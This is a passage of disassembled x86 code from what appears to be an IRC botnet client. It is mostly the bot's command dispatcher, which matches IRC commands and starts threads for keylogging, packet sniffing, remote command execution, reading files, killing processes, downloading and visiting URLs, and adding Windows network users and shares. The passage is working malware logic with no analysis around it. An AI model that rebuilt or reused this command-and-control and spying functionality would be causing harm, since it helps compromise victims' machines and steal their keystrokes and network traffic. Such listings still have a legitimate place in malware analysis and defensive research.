		lea	eax, [ebp+Dst]
		push	[ebp+esi+Format]
		push	offset aNoticeSS_3 ; "NOTICE %s	:%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_4182F9
		add	esp, 14h
		call	_rand
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+Dst]
		push	[ebp+esi+Format]
		push	offset aNoticeSS_4 ; "NOTICE %s	:%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_4182F9
		add	esp, 14h

loc_4056EA:				; CODE XREF: sub_401CC7+3945j
					; sub_401CC7+3952j
		push	[ebp+Source]	; Str2
		push	offset aCtcp	; "ctcp"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405801
		cmp	[ebp+esi+Format], ebx
		jz	loc_405801
		push	[ebp+esi+Format]
		lea	eax, [ebp+Dst]
		push	offset aJoinS_6	; "join	%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_4182F9
		add	esp, 10h
		lea	eax, [ebp+Dst]
		push	[ebp+esi+Format]
		push	offset aPrivmsgS_1 ; "PRIVMSG %s :"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_4182F9
		add	esp, 10h
		call	_rand
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	[ebp+esi+Format]
		lea	eax, [ebp+Dst]
		push	offset aPrivmsgS_2 ; "PRIVMSG %s :"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_4182F9
		add	esp, 10h
		call	_rand
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	[ebp+esi+Format]
		lea	eax, [ebp+Dst]
		push	offset aPrivmsgS_3 ; "PRIVMSG %s :"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_4182F9
		add	esp, 10h
		call	_rand
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	[ebp+esi+Format]
		lea	eax, [ebp+Dst]
		push	offset aPrivmsgS_4 ; "PRIVMSG %s :"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_4182F9
		add	esp, 10h

loc_405801:				; CODE XREF: sub_401CC7+3A34j
					; sub_401CC7+3A41j
		push	[ebp+Source]	; Str2
		push	offset aMix	; "mix"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405927
		cmp	[ebp+esi+Format], ebx
		jz	loc_405927
		push	[ebp+esi+Format]
		lea	eax, [ebp+Dst]
		push	offset aJoinS_7	; "join	%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_4182F9
		add	esp, 10h
		lea	eax, [ebp+Dst]
		push	[ebp+esi+Format]
		push	offset aPrivmsgS_5 ; "PRIVMSG %s :"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_4182F9
		add	esp, 10h
		call	_rand
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+Dst]
		push	[ebp+esi+Format]
		push	offset aNoticeSS_5 ; "NOTICE %s	:%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_4182F9
		add	esp, 14h
		call	_rand
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+Dst]
		push	[ebp+esi+Format]
		push	offset aPrivmsgSS_3 ; "PRIVMSG %s :%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_4182F9
		add	esp, 14h
		call	_rand
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+Dst]
		push	[ebp+esi+Format]
		push	offset aNoticeSS_6 ; "NOTICE %s	:%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_4182F9
		add	esp, 14h

loc_405927:				; CODE XREF: sub_401CC7+3B4Bj
					; sub_401CC7+3B58j
		push	[ebp+Source]	; Str2
		push	offset aRegister ; "register"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40596D
		mov	eax, [ebp+esi+Str2]
		cmp	eax, ebx
		jz	short loc_40596D
		push	eax
		lea	eax, [ebp+Dst]
		push	[ebp+esi+Format]
		push	offset aNickservRegist ; "nickserv register %s %s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_4182F9
		add	esp, 14h

loc_40596D:				; CODE XREF: sub_401CC7+3C71j
					; sub_401CC7+3C7Cj
		push	[ebp+Source]	; Str2
		push	offset aOff_0	; "off"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40653E
		mov	edi, offset dword_4EC244

loc_405989:				; CODE XREF: sub_401CC7+3CE1j
		cmp	dword ptr [edi-4], 1
		jnz	short loc_40599C
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_40599C
		push	eax
		call	dword_4E3190	; closesocket

loc_40599C:				; CODE XREF: sub_401CC7+3CC6j
					; sub_401CC7+3CCCj
		add	edi, 210h
		cmp	edi, offset dword_4F2964
		jl	short loc_405989
		cmp	[ebp+var_8], ebx
		jnz	loc_40653E
		push	ebx		; int
		push	[ebp+var_4]	; int
		push	offset unk_4417CC ; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409D34
		add	esp, 14h
		jmp	loc_40653E
; ---------------------------------------------------------------------------

loc_4059D2:				; CODE XREF: sub_401CC7+318Fj
		mov	edi, [ebp+arg_8]
		push	edi		; Str2
		push	offset aNick_1	; "nick"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409A1A
		push	edi		; Str2
		push	offset aN	; "n"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409A1A
		push	edi		; Str2
		push	offset aJoin_0	; "join"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099F3
		push	edi		; Str2
		push	offset aJ	; "j"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099F3
		push	edi		; Str2
		push	offset aPart_2	; "part"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099D3
		push	edi		; Str2
		push	offset aPt	; "pt"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099D3
		push	edi		; Str2
		push	offset aRaw	; "raw"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409997
		push	edi		; Str2
		push	offset aR_2	; "r"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409997
		push	edi		; Str2
		push	offset aKillthread ; "killthread"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409897
		push	edi		; Str2
		push	offset aK	; "k"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409897
		push	edi		; Str2
		push	offset aC_quit	; "c_quit"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097E9
		push	edi		; Str2
		push	offset aC_q	; "c_q"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097E9
		push	edi		; Str2
		push	offset aC_rndnick ; "c_rndnick"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40978B
		push	edi		; Str2
		push	offset aC_rn	; "c_rn"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40978B
		push	edi		; Str2
		push	offset aPrefix	; "prefix"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409772
		push	edi		; Str2
		push	offset aPr	; "pr"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409772
		push	edi		; Str2
		push	offset aOpen	; "open"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409744
		push	edi		; Str2
		push	offset aO	; "o"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409744
		push	edi		; Str2
		push	offset aServer_5 ; "server"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409727
		push	edi		; Str2
		push	offset aSe	; "se"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409727
		push	edi		; Str2
		push	offset aDns	; "dns"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096B6
		push	edi		; Str2
		push	offset aDn	; "dn"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096B6
		push	edi		; Str2
		push	offset aKillproc ; "killproc"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409686
		push	edi		; Str2
		push	offset aKp	; "kp"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409686
		push	edi		; Str2
		push	offset aKill	; "kill"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409627
		push	edi		; Str2
		push	offset aKi	; "ki"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409627
		push	edi		; Str2
		push	offset aDelete	; "delete"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095EB
		push	edi		; Str2
		push	offset aDel	; "del"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095EB
		push	edi		; Str2
		push	offset aGet_3	; "get"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094FF
		push	edi		; Str2
		push	offset aGt	; "gt"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094FF
		push	edi		; Str2
		push	offset aList	; "list"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094DD
		push	edi		; Str2
		push	offset aLi	; "li"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094DD
		push	edi		; Str2
		push	offset aVisit	; "visit"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093E9
		push	edi		; Str2
		push	offset aV	; "v"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093E9
		push	edi		; Str2
		push	offset aMirccmd	; "mirccmd"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093B2
		push	edi		; Str2
		push	offset aMirc	; "mirc"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093B2
		push	edi		; Str2
		push	offset aCmd	; "cmd"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409348
		push	edi		; Str2
		push	offset aCm	; "cm"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409348
		push	edi		; Str2
		push	offset aReadfile ; "readfile"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092CB
		push	edi		; Str2
		push	offset aRf	; "rf"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092CB
		push	edi		; Str2
		push	offset aPsniff	; "psniff"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405E6F
		push	[ebp+Source]	; Str2
		push	offset aOn	; "on"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405E35
		push	20h
		call	sub_40B99E
		test	eax, eax
		pop	ecx
		jle	short loc_405D5F
		push	offset dword_441DE8
		jmp	loc_40717F
; ---------------------------------------------------------------------------

loc_405D5F:				; CODE XREF: sub_401CC7+408Cj
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+Format]
		mov	[ebp+var_EC4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_E3C], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_E38], eax
		jnz	short loc_405DA1
		mov	esi, offset a2_1 ; "#2"
		push	offset byte_4E2FA4 ; Str2
		push	esi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405DA1
		mov	esi, [ebp+Format]

loc_405DA1:				; CODE XREF: sub_401CC7+40BCj
					; sub_401CC7+40D2j
		push	esi		; Format
		lea	eax, [ebp+var_EC0]
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 0Ch
		lea	eax, [ebp+Dst]
		push	offset asc_441E08 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	20h		; int
		push	eax		; Source
		call	sub_40B756
		add	esp, 14h
		mov	[ebp+var_E40], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_EC4]
		push	ebx
		push	eax
		push	offset sub_412A56
		push	ebx
		push	ebx
		call	ds:dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_E40]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45602C[ecx], eax
		jz	short loc_405E24

loc_405E0E:				; CODE XREF: sub_401CC7+415Bj
		cmp	[ebp+var_E34], ebx
		jnz	loc_408506
		push	32h
		call	ds:dword_4F534C	; Sleep
		jmp	short loc_405E0E
; ---------------------------------------------------------------------------

loc_405E24:				; CODE XREF: sub_401CC7+4145j
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset dword_441E38
		jmp	loc_404BD6
; ---------------------------------------------------------------------------

loc_405E35:				; CODE XREF: sub_401CC7+407Cj
		push	[ebp+Source]	; Str2
		push	offset aOff	; "off"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408506
		push	ebx
		push	20h
		call	sub_40B951
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405E65
		push	eax
		push	offset dword_441E78
		jmp	loc_404BD6
; ---------------------------------------------------------------------------

loc_405E65:				; CODE XREF: sub_401CC7+4191j
		push	offset dword_441EB4
		jmp	loc_40717F
; ---------------------------------------------------------------------------

loc_405E6F:				; CODE XREF: sub_401CC7+4065j
		push	edi		; Str2
		push	offset aSniffer	; "sniffer"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405FC1
		push	[ebp+Source]	; Str2
		push	offset aOn_0	; "on"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405F87
		push	21h
		call	sub_40B99E
		test	eax, eax
		pop	ecx
		jle	short loc_405EB1
		push	offset unk_441EEC
		jmp	loc_40717F
; ---------------------------------------------------------------------------

loc_405EB1:				; CODE XREF: sub_401CC7+41DEj
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+Format]
		mov	[ebp+var_FEC], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_F64], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_F60], eax
		jnz	short loc_405EF3
		mov	esi, offset a2_1 ; "#2"
		push	offset byte_4E2FA8 ; Str2
		push	esi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405EF3
		mov	esi, [ebp+Format]

loc_405EF3:				; CODE XREF: sub_401CC7+420Ej
					; sub_401CC7+4224j
		push	esi		; Format
		lea	eax, [ebp+var_FE8]
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 0Ch
		lea	eax, [ebp+Dst]
		push	offset asc_441F0C ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	21h		; int
		push	eax		; Source
		call	sub_40B756
		add	esp, 14h
		mov	[ebp+var_F68], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_FEC]
		push	ebx
		push	eax
		push	offset sub_4130E1
		push	ebx
		push	ebx
		call	ds:dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_F68]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45602C[ecx], eax
		jz	short loc_405F76

loc_405F60:				; CODE XREF: sub_401CC7+42ADj
		cmp	[ebp+var_F5C], ebx
		jnz	loc_408506
		push	32h
		call	ds:dword_4F534C	; Sleep
		jmp	short loc_405F60
; ---------------------------------------------------------------------------

loc_405F76:				; CODE XREF: sub_401CC7+4297j
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset unk_441F3C
		jmp	loc_404BD6
; ---------------------------------------------------------------------------

loc_405F87:				; CODE XREF: sub_401CC7+41CEj
		push	[ebp+Source]	; Str2
		push	offset aOff_1	; "off"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408506
		push	ebx
		push	21h
		call	sub_40B951
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405FB7
		push	eax
		push	offset unk_441F7C
		jmp	loc_404BD6
; ---------------------------------------------------------------------------

loc_405FB7:				; CODE XREF: sub_401CC7+42E3j
		push	offset unk_441FBC
		jmp	loc_40717F
; ---------------------------------------------------------------------------

loc_405FC1:				; CODE XREF: sub_401CC7+41B7j
		push	edi		; Str2
		push	offset aIdent	; "ident"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406096
		push	[ebp+Source]	; Str2
		push	offset aOn_1	; "on"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40605C
		push	2
		call	sub_40B99E
		test	eax, eax
		pop	ecx
		jle	short loc_405FFF
		push	offset dword_441FF8
		jmp	loc_40717F
; ---------------------------------------------------------------------------

loc_405FFF:				; CODE XREF: sub_401CC7+432Cj
		lea	eax, [ebp+Dst]
		push	offset asc_442018 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	2		; int
		push	eax		; Source
		call	sub_40B756
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	esi
		push	offset sub_410C7D
		push	ebx
		push	ebx
		call	ds:dword_4F5350	; CreateThread
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_45602C[esi], eax
		jnz	loc_408506
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset dword_442044
		jmp	loc_404BD6
; ---------------------------------------------------------------------------

loc_40605C:				; CODE XREF: sub_401CC7+4320j
		push	[ebp+Source]	; Str2
		push	offset aOff_2	; "off"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408506
		push	ebx
		push	2
		call	sub_40B951
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_40608C
		push	eax
		push	offset dword_44207C
		jmp	loc_404BD6
; ---------------------------------------------------------------------------

loc_40608C:				; CODE XREF: sub_401CC7+43B8j
		push	offset dword_4420B4
		jmp	loc_40717F
; ---------------------------------------------------------------------------

loc_406096:				; CODE XREF: sub_401CC7+4309j
		push	edi		; Str2
		push	offset aKeylog	; "keylog"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406211
		mov	edi, [ebp+Source]
		push	edi		; Str2
		push	offset aOn_2	; "on"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406108
		push	edi		; Str2
		push	offset aFile	; "file"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406108
		push	edi		; Str2
		push	offset aOff_3	; "off"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408506
		push	ebx
		push	23h
		call	sub_40B951
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_4060FE
		push	eax
		push	offset dword_442174
		jmp	loc_404BD6
; ---------------------------------------------------------------------------

loc_4060FE:				; CODE XREF: sub_401CC7+442Aj
		push	offset dword_4421B0
		jmp	loc_40717F
; ---------------------------------------------------------------------------

loc_406108:				; CODE XREF: sub_401CC7+43F6j
					; sub_401CC7+4407j
		push	23h
		call	sub_40B99E
		test	eax, eax
		pop	ecx
		jle	short loc_40611E
		push	offset dword_4420E8
		jmp	loc_40717F
; ---------------------------------------------------------------------------

loc_40611E:				; CODE XREF: sub_401CC7+444Bj
		mov	eax, [ebp+arg_4]
		push	edi		; Str2
		mov	[ebp+var_C5C], eax
		mov	eax, [ebp+var_4]
		push	offset aFile_0	; "file"
		mov	[ebp+var_BD4], eax
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40614D
		mov	[ebp+var_BD0], 1
		jmp	short loc_406156
; ---------------------------------------------------------------------------

loc_40614D:				; CODE XREF: sub_401CC7+4478j
		mov	eax, [ebp+var_8]
		mov	[ebp+var_BD0], eax

loc_406156:				; CODE XREF: sub_401CC7+4484j
		mov	esi, [ebp+esi+Format]
		cmp	esi, ebx
		jnz	short loc_40617D
		mov	esi, offset a2_0 ; "#2"
		push	offset byte_4E2FAC ; Str2
		push	esi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40617D
		mov	esi, [ebp+Format]

loc_40617D:				; CODE XREF: sub_401CC7+4498j
					; sub_401CC7+44AEj
		push	esi		; Format
		lea	eax, [ebp+var_C54]
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 0Ch
		lea	eax, [ebp+Dst]
		push	offset asc_442110 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	23h		; int
		push	eax		; Source
		call	sub_40B756
		add	esp, 14h
		mov	[ebp+var_C58], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C5C]
		push	ebx
		push	eax
		push	offset sub_412775
		push	ebx
		push	ebx
		call	ds:dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_C58]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45602C[ecx], eax
		jz	short loc_406200

loc_4061EA:				; CODE XREF: sub_401CC7+4537j
		cmp	[ebp+var_BCC], ebx
		jnz	loc_408506
		push	32h
		call	ds:dword_4F534C	; Sleep
		jmp	short loc_4061EA
; ---------------------------------------------------------------------------

loc_406200:				; CODE XREF: sub_401CC7+4521j
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset dword_442134
		jmp	loc_404BD6
; ---------------------------------------------------------------------------

loc_406211:				; CODE XREF: sub_401CC7+43DEj
		push	edi		; Str2
		push	offset aNet	; "net"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4064EA
		cmp	dword_4E31C8, ebx
		jz	short loc_406240
		cmp	dword_4E31F0, ebx
		jz	short loc_406240
		push	offset unk_442358
		jmp	loc_408850
; ---------------------------------------------------------------------------

loc_406240:				; CODE XREF: sub_401CC7+4565j
					; sub_401CC7+456Dj
		cmp	[ebp+var_C], ebx
		jz	loc_406F59
		mov	edi, [ebp+esi+Format]
		mov	[ebp+Src], ebx
		cmp	edi, ebx
		jz	short loc_406265
		push	edi		; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		pop	ecx
		mov	[ebp+Src], eax
		pop	ecx

loc_406265:				; CODE XREF: sub_401CC7+458Ej
		push	[ebp+Source]	; Str2
		push	offset aStart	; "start"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4062BF
		cmp	edi, ebx
		jz	short loc_406293
		push	[ebp+Src]
		push	3
		call	sub_41958E
		pop	ecx
		pop	ecx
		push	eax
		push	offset aS_3	; "%s"
		jmp	loc_406F4A
; ---------------------------------------------------------------------------

loc_406293:				; CODE XREF: sub_401CC7+45B3j
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_419828
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4062B5
		push	offset unk_4421EC
		jmp	loc_408850
; ---------------------------------------------------------------------------

loc_4062B5:				; CODE XREF: sub_401CC7+45E2j
		push	offset unk_442210
		jmp	loc_408850
; ---------------------------------------------------------------------------

loc_4062BF:				; CODE XREF: sub_401CC7+45AFj
		push	[ebp+Source]	; Str2
		push	offset aStop	; "stop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4062E9
		push	[ebp+Src]
		push	4
		call	sub_41958E
		pop	ecx
		pop	ecx
		push	eax
		push	offset aS_4	; "%s"
		jmp	loc_406F4A
; ---------------------------------------------------------------------------

loc_4062E9:				; CODE XREF: sub_401CC7+4609j
		push	[ebp+Source]	; Str2
		push	offset aPause	; "pause"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406313
		push	[ebp+Src]
		push	5
		call	sub_41958E
		pop	ecx
		pop	ecx
		push	eax
		push	offset aS_5	; "%s"
		jmp	loc_406F4A
; ---------------------------------------------------------------------------

loc_406313:				; CODE XREF: sub_401CC7+4633j
		push	[ebp+Source]	; Str2
		push	offset aContinue ; "continue"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40633D
		push	[ebp+Src]
		push	6
		call	sub_41958E
		pop	ecx
		pop	ecx
		push	eax
		push	offset aS_6	; "%s"
		jmp	loc_406F4A
; ---------------------------------------------------------------------------

loc_40633D:				; CODE XREF: sub_401CC7+465Dj
		push	[ebp+Source]	; Str2
		push	offset aDelete_0 ; "delete"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406367
		push	[ebp+Src]
		push	1
		call	sub_41958E
		pop	ecx
		pop	ecx
		push	eax
		push	offset aS_7	; "%s"
		jmp	loc_406F4A
; ---------------------------------------------------------------------------

loc_406367:				; CODE XREF: sub_401CC7+4687j
		push	[ebp+Source]	; Str2
		push	offset aShare	; "share"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4063E6
		cmp	edi, ebx
		jz	short loc_4063B9
		cmp	[ebp+var_8FC], bl
		jz	short loc_40639D
		push	ebx		; int
		push	edi		; Str
		push	1		; int
		call	sub_419965
		add	esp, 0Ch
		push	eax
		push	offset aS_8	; "%s"
		jmp	loc_406F4A
; ---------------------------------------------------------------------------

loc_40639D:				; CODE XREF: sub_401CC7+46BDj
		push	[ebp+esi+Str2]	; int
		push	edi		; Str
		push	ebx		; int
		call	sub_419965
		add	esp, 0Ch
		push	eax
		push	offset aS_9	; "%s"
		jmp	loc_406F4A
; ---------------------------------------------------------------------------

loc_4063B9:				; CODE XREF: sub_401CC7+46B5j
		push	ebx		; int
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_419B5B
		add	esp, 10h
		test	eax, eax
		jz	short loc_4063DC
		push	offset unk_442274
		jmp	loc_408850
; ---------------------------------------------------------------------------

loc_4063DC:				; CODE XREF: sub_401CC7+4709j
		push	offset unk_442298
		jmp	loc_408850
; ---------------------------------------------------------------------------

loc_4063E6:				; CODE XREF: sub_401CC7+46B1j
		push	[ebp+Source]	; Str2
		push	offset aUser_0	; "user"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40649D
		cmp	edi, ebx
		jz	short loc_406470
		cmp	[ebp+var_8FC], bl
		jz	short loc_40642C
		push	[ebp+var_4]
		push	[ebp+Format]
		push	[ebp+arg_4]
		push	ebx
		push	edi
		push	1
		call	sub_419C7C
		add	esp, 18h
		push	eax
		push	offset aS_10	; "%s"
		jmp	loc_406F4A
; ---------------------------------------------------------------------------

loc_40642C:				; CODE XREF: sub_401CC7+4740j
		push	[ebp+var_4]
		mov	esi, [ebp+esi+Str2]
		cmp	esi, ebx
		push	[ebp+Format]
		push	[ebp+arg_4]
		jz	short loc_406459
		push	esi
		push	edi
		push	ebx
		call	sub_419C7C
		add	esp, 18h
		push	eax
		push	offset aS_11	; "%s"
		jmp	loc_406F4A
; ---------------------------------------------------------------------------

loc_406459:				; CODE XREF: sub_401CC7+477Aj
		push	ebx
		push	edi
		push	2
		call	sub_419C7C
		add	esp, 18h
		push	eax
		push	offset aS_12	; "%s"
		jmp	loc_406F4A
; ---------------------------------------------------------------------------

loc_406470:				; CODE XREF: sub_401CC7+4738j
		push	ebx		; int
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_41A1AC
		add	esp, 10h
		test	eax, eax
		jz	short loc_406493
		push	offset unk_4422CC
		jmp	loc_408850
; ---------------------------------------------------------------------------

loc_406493:				; CODE XREF: sub_401CC7+47C0j
		push	offset unk_4422EC
		jmp	loc_408850
; ---------------------------------------------------------------------------

loc_40649D:				; CODE XREF: sub_401CC7+4730j
		push	[ebp+Source]	; Str2
		push	offset aSend_0	; "send"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4064E0
		cmp	edi, ebx
		jz	short loc_4064D6
		push	[ebp+var_4]
		push	[ebp+Format]
